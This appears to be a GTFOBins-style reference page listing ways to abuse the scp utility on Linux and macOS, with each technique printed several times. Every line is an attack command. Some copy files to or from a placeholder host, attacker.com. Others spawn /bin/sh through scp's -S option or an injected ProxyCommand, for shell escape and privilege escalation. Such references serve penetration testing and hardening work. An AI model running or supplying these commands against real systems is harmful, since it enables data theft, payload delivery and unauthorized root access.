GTFO · Tool

scp

12 techniques Linux · macOSGTFOBins GPL-3.0

download

File DownloadPrivilege Escalation LinuxmacOS

scp user@attacker.com:/path/to/input-file /path/to/output-file

File DownloadPrivilege Escalation LinuxmacOS

scp user@attacker.com:/path/to/input-file /path/to/output-file

File Download LinuxmacOS

scp user@attacker.com:/path/to/input-file /path/to/output-file

ExecutionPrivilege Escalation LinuxmacOS

echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
chmod +x /path/to/temp-file
scp -S /path/to/temp-file x x:

ExecutionPrivilege Escalation LinuxmacOS

echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
chmod +x /path/to/temp-file
scp -S /path/to/temp-file x x:

Execution LinuxmacOS

echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
chmod +x /path/to/temp-file
scp -S /path/to/temp-file x x:

ExecutionPrivilege Escalation LinuxmacOS

scp -o 'ProxyCommand=;/bin/sh 0<&2 1>&2' x x:

ExecutionPrivilege Escalation LinuxmacOS

scp -o 'ProxyCommand=;/bin/sh 0<&2 1>&2' x x:

Execution LinuxmacOS

scp -o 'ProxyCommand=;/bin/sh 0<&2 1>&2' x x:

File UploadPrivilege Escalation LinuxmacOS

scp /path/to/input-file user@attacker.com:/path/to/output-file

File UploadPrivilege Escalation LinuxmacOS

scp /path/to/input-file user@attacker.com:/path/to/output-file

File Upload LinuxmacOS

scp /path/to/input-file user@attacker.com:/path/to/output-file